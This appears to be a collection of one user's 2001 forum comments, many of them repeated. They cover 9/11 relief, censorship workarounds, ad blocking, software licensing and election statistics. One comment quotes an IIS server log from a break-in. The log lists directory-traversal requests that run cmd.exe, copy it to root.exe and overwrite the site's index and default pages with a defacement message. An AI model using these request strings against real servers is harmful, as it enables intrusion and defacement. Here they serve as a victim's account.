I can't confirm/deny the items you mentioned above (though I'm quite sure they need those items) but a caller to a radio show said they need lots of new/clean underwear and socks. These guys [rescuers] are in water up to their chests apparently. I can only imagine what else they may need... toilet paper? Port-a-potties? A caller yesterday said that the dust masks they're giving to the rescue workers are the 39 cent ones you use for spackling, when for like $2 they could be handing out ones that protect against asbestosis and all that stuff that may be in the air. I know Mayor Giuliani said that the air quality is good, but this seems like a rather small investment in the future health of these guys who are risking their lives for everyone. Then again, this is based on some woman who called into the Don and Mike show yesterday, so I dunno how much of that to believe. I am sure they need underwear and socks though. Blankets, sleeping bags, cots... not just for the rescue workers either.
A (American) friend of mine is in China where I guess they block access to most sites like CNN and basically I ended up pasting cnn.com's story to him in AIM. The news is apparently hard to come by in those parts.
Are there any frequently updated mirrors and/or free (no charge) proxies that people can use to get info about this? I wrote up a lame perl script that fetches whatever address you put in the url and spews it back to you (but at least it appears to be coming from my cablemodem instead of cnn.com) but that didn't seem to work for him... I guess maybe they filter out urls that have "cnn.com" in them? Anyway, any suggestions?
How? How is "technology" responsible for this? I noticed this 'feature' was from the "Techno-Armageddon dept." I think Jon Katz is a little psycho with his attempts to integrate technology into every significant event that occurs.
There was an interview on (I think) CNN with a "security expert" who stated that this was a remarkably low-tech attack ("low-tech, high concept" were his exact words). The US spends billions on high technology solutions to fend off enemies (star wars, better metal detectors, etc), but in this case it was indeed a low-tech attack. A plane filled with fuel manually piloted into a huge iconic building. It wasn't even a foreign country's plane! It was a domestic plane that was hijacked with an apparently undetectable weapon. It could have been a plastic knife for god's sake; how much more low tech can you get? While I'll concede that a 767 itself is indeed a marvel of high technology, planes capable of destruction like this have been around since at least World War 2. A B-52 could have caused similar damage. As numerous others have doubtless mentioned, this is evidence that the US has focused far too much on high-tech solutions.
This is likely the worst attack to occur on American soil; an act of terrorism perpetrated by (IMNSHO) supremely evil people. It will probably be regarded as the worst tragedy in our history. To try and blame this simply on "technology" belittles the event.
If you are in the NYC/Long Island area, here is a URL with locations to donate blood: http://www.nybloodcenter.org/blood_window.htm. Additionally, EMS is now saying you can donate blood at any hospital in the area.
I tried to give blood at 2500 Marcus (very near Long Island Jewish hospital) and I couldn't even get in the parking lot. I'll try again later or tomorrow. Please, if you are in the area, help out...
I feel so useless... giving blood is all I can do to help.
Here's the text of that URL in case it's down for whatever reason:
NEW YORK, NY, SEPTEMBER 11, 2001 - Due to this morning's hijack plane attacks on two World Trade Center buildings,
resulting in unknown medical emergencies, New York Blood Center has announced a blood emergency for the greater
New York/New Jersey metropolitan area.
Dr. Robert Jones, New York Blood Center President and Chief Executive Officer, is urging all eligible donors to make
a blood donation at donor sites in Manhattan at 310 East 67th Street (between 1st and 2nd Avenues) and
150 Amsterdam Avenue (66-67th Streets); in Brooklyn at 120 Lawrence Street near MetroTech; on Staten Island at
1625 Forest Avenue; on Long Island at 2500 Marcus Avenue in Lake Success, 3125 Veterans Highway in Bohemia;
333 Merrick Road in Rockville Centre and Route 110N in Melville/Huntington; at 167 New Street in New Brunswick,
New Jersey; and 525 Executive Blvd. in Elmsford in Westchester. For more details on available donor locations,
call 1-800-933-2566. Hours at all sites have been extended until further notice.
Who Can Help?
Donors must be at least age 17**, weigh a minimum of 110 pounds and be in good general health. Photo or signature ID is required.
To find the nearest donation location call 1-800-933-2566 or refer to our blood drive locator.
*New York Blood Center regions include: Brooklyn/Staten Island Blood Services serving over 25 hospitals in Brooklyn & Staten Island Hudson Valley Blood Services serving over 50 hospitals in the Bronx and lower Hudson Valley Long Island Blood Services serving over 50 hospitals in Queens, Nassau & Suffolk New Jersey Blood Services serving over 65 hospitals in northern and central New Jersey New York Blood Services serving over 30 hospitals in Manhattan
**17-year-olds in New Jersey require parents' written permission to donate.
Playing with the HOSTS file has become my solution. I don't remember who it was, but some Slashdot user had a link to a pre-made HOSTS file which I downloaded, edited, and used to block all of the ad networks. AdvertWizard.com seemed to be the most annoying ad network, as nearly every ad I got from them spawned a popup.
I like the HOSTS file method because it can be used on Windows, Linux, and it can be modified to work on Mac OS as well, and doesn't care about what browser you're running.
The bad side to this is that if you decide you want to check out doubleclick's privacy policy for some reason, you can no longer go to www.doubleclick.net and you have to go and comment out that line of the HOSTS file. Also, it doesn't discriminate between popups and normal banners, and I sometimes feel bad about shafting the site I'm viewing by not generating them some ad revenue. But I guess this is the only way to demonstrate to them how much I really really hate popup ads.
IE used to have the ability to turn off JavaScript (or was that Netscape 4.7?) and then MS so kindly removed this feature. What a splendid move! Nothing I like better than visiting a website and having a message like "ShOuT OuTz tOo AlL mY pHaTTy PeePz!!!!!1" scrolling along the bottom of the browser where the URL is supposed to go. Thanks MS.
I wonder if it's possible to write an app that uses MS's rendering engine (which is pretty nice IMO) but adds useful features and removes unnecessary junk, such as Mozilla/Galeon. Maybe it's time to try Mozilla again on my win98 computer...
Let's see, $2500 for a robot dog + $100 in electricity oven ten years. A real dog costs, say $1/day to feed, lives ten years for $3650 on food, plus $1000 in vet bills. The robot wins hands down."
My dog is my best friend. He's ecstatic when I get home and brings me a shoe or something as a gift. He protects my home by barking at anybody who walks by. He keeps the fly population going by supplying the yard with tons and tons of crap. Well, the last one may not be so great, but I cannot possibly imagine him being replaced by a robot. No machine can compare to Bruiser, the world's best dog. I'd choose him over most humans.
I realize the author of this comment was probably joking, but would you decide to have a robotic child instead of a real one simply because it was less expensive?
Once you buy something you own it. That's it. Their ownership of the item stops when money exchanges hands. So I guess you've never heard of software licensing? There's very little software that once you purchase the CDROM you actually "own". When's the last time you bought an MS product and actually had rights to use it however you like? What's to stop the music industry from moving to a "licensing" model as well? They're all just bits, after all.
That'll go over well. "Oh, you haven't paid your Led Zeppelin subscription fee, all your CDs will no longer work." See: DIVX (the old one).
By the way: I bear no animosity toward anyone at Aimster, at least no more than you bear toward the rollercoaster after you get off at the end of the ride.
This page shows the official numbers for the 2000 election. Gore won the popular vote by less than one percent. If you were to use this as a measure of conservativism vs liberalism (which is inappropriate) then it would seem that between 48.4% of those who voted are "liberal" and that 47.88% of those who voted are "conservative". (The remainder, I guess, are crazy people) These numbers fall exactly within the 45-55% range that the original poster cited.
Also, note that the total popular vote was 105,363,298, and the estimated population for the US in 2000 is 281.4 million. And while the popular vote may be a statistically accurate guess as to how the rest of the population would have voted, we may never know. 176 million is not an insignificant number of people (roughly 63% of the total) to not be able to account for.
As for your stats about the popularity of stem cell research, would you mind providing some sources to back them up? You questioned the original poster's sources but neglected to provide any of your own.
And finally, remember that there are three kinds of lies: A lie, a damn lie, and a statistic.
Some time in April I setup a Windows 2000 server just to play around with. I threw a few nics in it and played with routing so I could choose whether to use Telocity or Road Runner depending on which connection gave me the better ping to quake servers. I also used it for NAT and I wanted to learn ASP so this seemed like a decent plan.
I installed the first Service pack at whatever point it came out (I don't really recall) and thought I would be okay. Well, I wasn't, and I didn't discover that I wasn't until the whole code red thing. Here's part of my IIS log from a day in May, less than 2 weeks after having Win2k up and running :
Looking through the logs, I was owned at least 30 more times until I discovered this at the end of July. Some said fuck USA government, some said fuck China government. I thought this was a code red exploit, but apparently not, as this happened on May 6 2001 and code red was (to my knowledge) first discovered several months later.
Anyway, I just find it appalling that MS would release a product that they expect people to use for commerce and "real" applications with a hole like this. I don't know if there was a patch for this or not, because frankly I was so disgusted with this that I formatted and installed linux. While I understand that the admin shoulders a great deal of the responsibility for the security of his boxes, and that no software is without its exploits, I think such a gaping hole in a flagship product is inexcusable, and I really marvel that Microsoft has not been held accountable for the shoddiness of its products. I feel bad for the MS sysadmins who have to deal with this kind of garbage on a much larger scale (both in the number of attacks and the number of machines they must "protect"). But then again, it's probably some MCSE writing all of this crap just to create job security for himself and the rest of the MCSEs out there...:-P
If this alone doesn't make it glaringly obvious that such software should not exist (i.e. exactly 0% of users would ever willingly choose to use it), then nothing will.
Well, I'm sure a similarly low percentage of people, given the choice, would also like to have no more popup ads at all, or even banner ads. Also, most people would probably like to stop paying taxes and having to pay for gas, given the choice. While I will concede that Gator is significantly more insidious as well as significantly less beneficial than normal banner/popups, which generally are used to support otherwise free content sites (such as this), the simple fact that nobody likes the program (except for advertisers) does not mean it should not exist. Deceptive business practices, well, that's another story. Maybe the FTC should take a look.
I saw a banner ad today "if this ad is flickering, you've won! click here to claim your prize".
My favorite is still the "shock the monkey and win $20*!" banner, which, when you click, takes you to a site where it says at the bottom " *Currency is in 'Banana Bucks'". While advertising has never been the most honest of trades, I do feel that Internet advertising has sunk to new lows.
I think what he meant is that old people such as him felt the message of the original film more deeply because they lived in fear of nuclear war. While this is true to some extent today, nobody I know has a fallout shelter in their back yard. This version (which I have yet to see) probably just didn't have the same deeper meaning that the original had, which makes sense sense it wasn't created under the shadow of the cold war.
And I don't think Katz was implying that younger people can't appreciate the original film, since he even said or implied that it is still a popular rental today (I, too, am 22 and have seen it 3 or 4 times).
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So you're going to need a license to use a sound like "chussh"? Wow, that's awesome. Also, copying this sound would probably fall under the DMCA, so "illegal" uses will get you locked up like your pal Dmitri.
I can already see the slashdot posts: But how can you own a sound? I hereby patent the sounds of 'click' and 'snap'.
Everybody could bring Iridium phones and plug their laptops into them and dial AOL or whatever from china. THAT would be cool. I mean, if Iridium was still around.
The politicians probably have warm fuzzy memories if sneaking into movies when they were kids; it's as American as apple pie.
I'm sure most politicians also have fond memories of their first Playboy or Penthouse, and porn is just as American as apple pie, but that doesn't stop them from trying to ban everything "for the CHILDREN!"
But you read it, right? What does slashdot care about the quality of whatever's on the site? The point is to get people to discuss it. Then again, I can't imagine they like seeing an entire thread on "gay" or "this sucks". I have to give Jon Katz some credit for still writing for Slashdot after all the abuse he's gotten.
Well of course. The funniest part of this is that things like that are actually considered "effective". Clickthrus == effectiveness. This makes no sense, and I believe CBS's online division is now no longer providing clickthroughs by default to advertisers, instead pushing web ads as branding methods, like TV ads. Funny, everybody was hyping net ads because the "effectiveness" was supposed to be so easy to calculate, unlike TV ads which are vague. Now that so-called effectiveness has jumped back and bit the industry in the ass, so they're saying clickthroughs don't mean anything anymore. Amusing.
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I can't confirm/deny the items you mentioned above (though I'm quite sure they need those items) but a caller to a radio show said they need lots of new/clean underwear and socks. These guys [rescuers] are in water up to their chests apparently. I can only imagine what else they may need... toilet paper? Port-a-potties? A caller yesterday said that the dust masks they're giving to the rescue workers are the 39 cent ones you use for spackling, when for like $2 they could be handing out ones that protect against asbestosis and all that stuff that may be in the air. I know Mayor Giuliani said that the air quality is good, but this seems like a rather small investment in the future health of these guys who are risking their lives for everyone. Then again, this is based on some woman who called into the Don and Mike show yesterday, so I dunno how much of that to believe. I am sure they need underwear and socks though. Blankets, sleeping bags, cots... not just for the rescue workers either.
Send in the Hanes!
A (American) friend of mine is in China where I guess they block access to most sites like CNN and basically I ended up pasting cnn.com's story to him in AIM. The news is apparently hard to come by in those parts.
Are there any frequently updated mirrors and/or free (no charge) proxies that people can use to get info about this? I wrote up a lame perl script that fetches whatever address you put in the url and spews it back to you (but at least it appears to be coming from my cablemodem instead of cnn.com) but that didn't seem to work for him... I guess maybe they filter out urls that have "cnn.com" in them? Anyway, any suggestions?
Technology turns planes into weapons.
How? How is "technology" responsible for this? I noticed this 'feature' was from the "Techno-Armageddon dept." I think Jon Katz is a little psycho with his attempts to integrate technology into every significant event that occurs.
There was an interview on (I think) CNN with a "security expert" who stated that this was a remarkably low-tech attack ("low-tech, high concept" were his exact words). The US spends billions on high technology solutions to fend off enemies (star wars, better metal detectors, etc), but in this case it was indeed a low-tech attack. A plane filled with fuel manually piloted into a huge iconic building. It wasn't even a foreign country's plane! It was a domestic plane that was hijacked with an apparently undetectable weapon. It could have been a plastic knife for god's sake; how much more low tech can you get? While I'll concede that a 767 itself is indeed a marvel of high technology, planes capable of destruction like this have been around since at least World War 2. A B-52 could have caused similar damage. As numerous others have doubtless mentioned, this is evidence that the US has focused far too much on high-tech solutions.
This is likely the worst attack to occur on American soil; an act of terrorism perpetrated by (IMNSHO) supremely evil people. It will probably be regarded as the worst tragedy in our history. To try and blame this simply on "technology" belittles the event.
I tried to give blood at 2500 Marcus (very near Long Island Jewish hospital) and I couldn't even get in the parking lot. I'll try again later or tomorrow. Please, if you are in the area, help out...
I feel so useless... giving blood is all I can do to help.
Here's the text of that URL in case it's down for whatever reason:
Playing with the HOSTS file has become my solution. I don't remember who it was, but some Slashdot user had a link to a pre-made HOSTS file which I downloaded, edited, and used to block all of the ad networks. AdvertWizard.com seemed to be the most annoying ad network, as nearly every ad I got from them spawned a popup.
I like the HOSTS file method because it can be used on Windows, Linux, and it can be modified to work on Mac OS as well, and doesn't care about what browser you're running.
The bad side to this is that if you decide you want to check out doubleclick's privacy policy for some reason, you can no longer go to www.doubleclick.net and you have to go and comment out that line of the HOSTS file. Also, it doesn't discriminate between popups and normal banners, and I sometimes feel bad about shafting the site I'm viewing by not generating them some ad revenue. But I guess this is the only way to demonstrate to them how much I really really hate popup ads.
IE used to have the ability to turn off JavaScript (or was that Netscape 4.7?) and then MS so kindly removed this feature. What a splendid move! Nothing I like better than visiting a website and having a message like "ShOuT OuTz tOo AlL mY pHaTTy PeePz!!!!!1" scrolling along the bottom of the browser where the URL is supposed to go. Thanks MS.
I wonder if it's possible to write an app that uses MS's rendering engine (which is pretty nice IMO) but adds useful features and removes unnecessary junk, such as Mozilla/Galeon. Maybe it's time to try Mozilla again on my win98 computer...
Hmm...
Let's see, $2500 for a robot dog + $100 in electricity oven ten years. A real dog costs, say $1/day to feed, lives ten years for $3650 on food, plus $1000 in vet bills. The robot wins hands down."
My dog is my best friend. He's ecstatic when I get home and brings me a shoe or something as a gift. He protects my home by barking at anybody who walks by. He keeps the fly population going by supplying the yard with tons and tons of crap. Well, the last one may not be so great, but I cannot possibly imagine him being replaced by a robot. No machine can compare to Bruiser, the world's best dog. I'd choose him over most humans.
I realize the author of this comment was probably joking, but would you decide to have a robotic child instead of a real one simply because it was less expensive?
Once you buy something you own it. That's it. Their ownership of the item stops when money exchanges hands.
So I guess you've never heard of software licensing? There's very little software that once you purchase the CDROM you actually "own". When's the last time you bought an MS product and actually had rights to use it however you like? What's to stop the music industry from moving to a "licensing" model as well? They're all just bits, after all.
That'll go over well. "Oh, you haven't paid your Led Zeppelin subscription fee, all your CDs will no longer work." See: DIVX (the old one).
By the way: I bear no animosity toward anyone at Aimster, at least no more than you bear toward the rollercoaster after you get off at the end of the ride.
Hrm. I guess I'm the only one now...
This page shows the official numbers for the 2000 election. Gore won the popular vote by less than one percent. If you were to use this as a measure of conservativism vs liberalism (which is inappropriate) then it would seem that between 48.4% of those who voted are "liberal" and that 47.88% of those who voted are "conservative". (The remainder, I guess, are crazy people) These numbers fall exactly within the 45-55% range that the original poster cited.
Also, note that the total popular vote was 105,363,298, and the estimated population for the US in 2000 is 281.4 million. And while the popular vote may be a statistically accurate guess as to how the rest of the population would have voted, we may never know. 176 million is not an insignificant number of people (roughly 63% of the total) to not be able to account for.
As for your stats about the popularity of stem cell research, would you mind providing some sources to back them up? You questioned the original poster's sources but neglected to provide any of your own.
And finally, remember that there are three kinds of lies: A lie, a damn lie, and a statistic.
I know those were rhetorical questions, but the answer's "no" to both of them.
- Say you've done it
- Try to do it
- Study feasibility of it
Note that steps 2 and 3 are optional.Some time in April I setup a Windows 2000 server just to play around with. I threw a few nics in it and played with routing so I could choose whether to use Telocity or Road Runner depending on which connection gave me the better ping to quake servers. I also used it for NAT and I wanted to learn ASP so this seemed like a decent plan.
/scripts/../../winnt/system32/cmd.exe /c+dir 200 -
/scripts/../../winnt/system32/cmd.exe /c+dir+..\ 200 -
/scripts/../../winnt/system32/cmd.exe /c+copy+\winnt\system32\cmd.exe+root.exe 502 -
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br ^>^<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^< td^>^<p+align%3D%22center%22^>^<font+size%3D7+colo r%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^ <p+align%3D%22center%22^>^<font+size%3D7+color%3Dr ed^>fuck+P oizonBOx^<tr^>^<td^>^<p+align%3D%22center%22^>^<fo nt+size%3D4+color%3Dred^>contact:sysadmcn@yahoo.co m.cn^</html^>>.././ind ex.asp 502 -
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br ^>^<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^< td^>^<p+align%3D%22center%22^>^<font+size%3D7+colo r%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^ <p+align%3D%22center%22^>^<font+size%3D7+color%3Dr ed^>fuck+P oizonBOx^<tr^>^<td^>^<p+align%3D%22center%22^>^<fo nt+size%3D4+color%3Dred^>contact:sysadmcn@yahoo.co m.cn^</html^>>.././ind ex.htm 502 -
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br ^>^<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^< td^>^<p+align%3D%22center%22^>^<font+size%3D7+colo r%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^ <p+align%3D%22center%22^>^<font+size%3D7+color%3Dr ed^>fuck+P oizonBOx^<tr^>^<td^>^<p+align%3D%22center%22^>^<fo nt+size%3D4+color%3Dred^>contact:sysadmcn@yahoo.co m.cn^</html^>>.././def ault.asp 502 -
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br ^>^<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^< td^>^<p+align%3D%22center%22^>^<font+size%3D7+colo r%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^ <p+align%3D%22center%22^>^<font+size%3D7+color%3Dr ed^>fuck+P oizonBOx^<tr^>^<td^>^<p+align%3D%22center%22^>^<fo nt+size%3D4+color%3Dred^>contact:sysadmcn@yahoo.co m.cn^</html^>>.././def ault.htm 502 -
/scripts/../../winnt/system32/cmd.exe /c+copy+\winnt\system32\cmd.exe+root.exe 502 -
:-P
I installed the first Service pack at whatever point it came out (I don't really recall) and thought I would be okay. Well, I wasn't, and I didn't discover that I wasn't until the whole code red thing. Here's part of my IIS log from a day in May, less than 2 weeks after having Win2k up and running :
[my IP has since changed]
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2001-05-06 01:36:54
#Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-stem cs-uri-query sc-status cs(User-Agent)
2001-05-06 01:36:54 212.164.32.40 - 24.29.76.248 80 GET
2001-05-06 01:36:54 212.164.32.40 - 24.29.76.248 80 GET
2001-05-06 01:36:55 212.164.32.40 - 24.29.76.248 80 GET
2001-05-06 01:36:55 212.164.32.40 - 24.29.76.248 80 GET
2001-05-06 01:36:55 212.164.32.40 - 24.29.76.248 80 GET
2001-05-06 01:36:57 212.164.32.40 - 24.29.76.248 80 GET
2001-05-06 01:36:57 212.164.32.40 - 24.29.76.248 80 GET
2001-05-06 01:36:57 212.164.32.40 - 24.29.76.248 80 GET
etc...
Looking through the logs, I was owned at least 30 more times until I discovered this at the end of July. Some said fuck USA government, some said fuck China government. I thought this was a code red exploit, but apparently not, as this happened on May 6 2001 and code red was (to my knowledge) first discovered several months later.
Anyway, I just find it appalling that MS would release a product that they expect people to use for commerce and "real" applications with a hole like this. I don't know if there was a patch for this or not, because frankly I was so disgusted with this that I formatted and installed linux. While I understand that the admin shoulders a great deal of the responsibility for the security of his boxes, and that no software is without its exploits, I think such a gaping hole in a flagship product is inexcusable, and I really marvel that Microsoft has not been held accountable for the shoddiness of its products. I feel bad for the MS sysadmins who have to deal with this kind of garbage on a much larger scale (both in the number of attacks and the number of machines they must "protect"). But then again, it's probably some MCSE writing all of this crap just to create job security for himself and the rest of the MCSEs out there...
If this alone doesn't make it glaringly obvious that such software should not exist (i.e. exactly 0% of users would ever willingly choose to use it), then nothing will.
Well, I'm sure a similarly low percentage of people, given the choice, would also like to have no more popup ads at all, or even banner ads. Also, most people would probably like to stop paying taxes and having to pay for gas, given the choice. While I will concede that Gator is significantly more insidious as well as significantly less beneficial than normal banner/popups, which generally are used to support otherwise free content sites (such as this), the simple fact that nobody likes the program (except for advertisers) does not mean it should not exist. Deceptive business practices, well, that's another story. Maybe the FTC should take a look.
I saw a banner ad today "if this ad is flickering, you've won! click here to claim your prize".
My favorite is still the "shock the monkey and win $20*!" banner, which, when you click, takes you to a site where it says at the bottom " *Currency is in 'Banana Bucks'". While advertising has never been the most honest of trades, I do feel that Internet advertising has sunk to new lows.
- 900 MHz
- 15 inch TFT
- Ethernet + Modem built-in
- nVIDIA GeForce2Go (16 MB
...so you can't have everything... yet)
- 20 gig HDD
- DVD
- 1394/i.Link/Firewire
- $1999, or $1899 after rebate.
If I could get this and an iBook/PBG4, I'd be set for life. Or the next 6 months, whichever comes first.This happened to me on 7/23/01, so I don't know how new it really is. Now time to format that damn win2k box :-(
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And I don't think Katz was implying that younger people can't appreciate the original film, since he even said or implied that it is still a popular rental today (I, too, am 22 and have seen it 3 or 4 times).
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I can already see the slashdot posts: But how can you own a sound? I hereby patent the sounds of 'click' and 'snap'.
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I'm sure most politicians also have fond memories of their first Playboy or Penthouse, and porn is just as American as apple pie, but that doesn't stop them from trying to ban everything "for the CHILDREN!"
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Well who else would a program like this be directed at? Who besides developers needs the source to WinCE? Duh?
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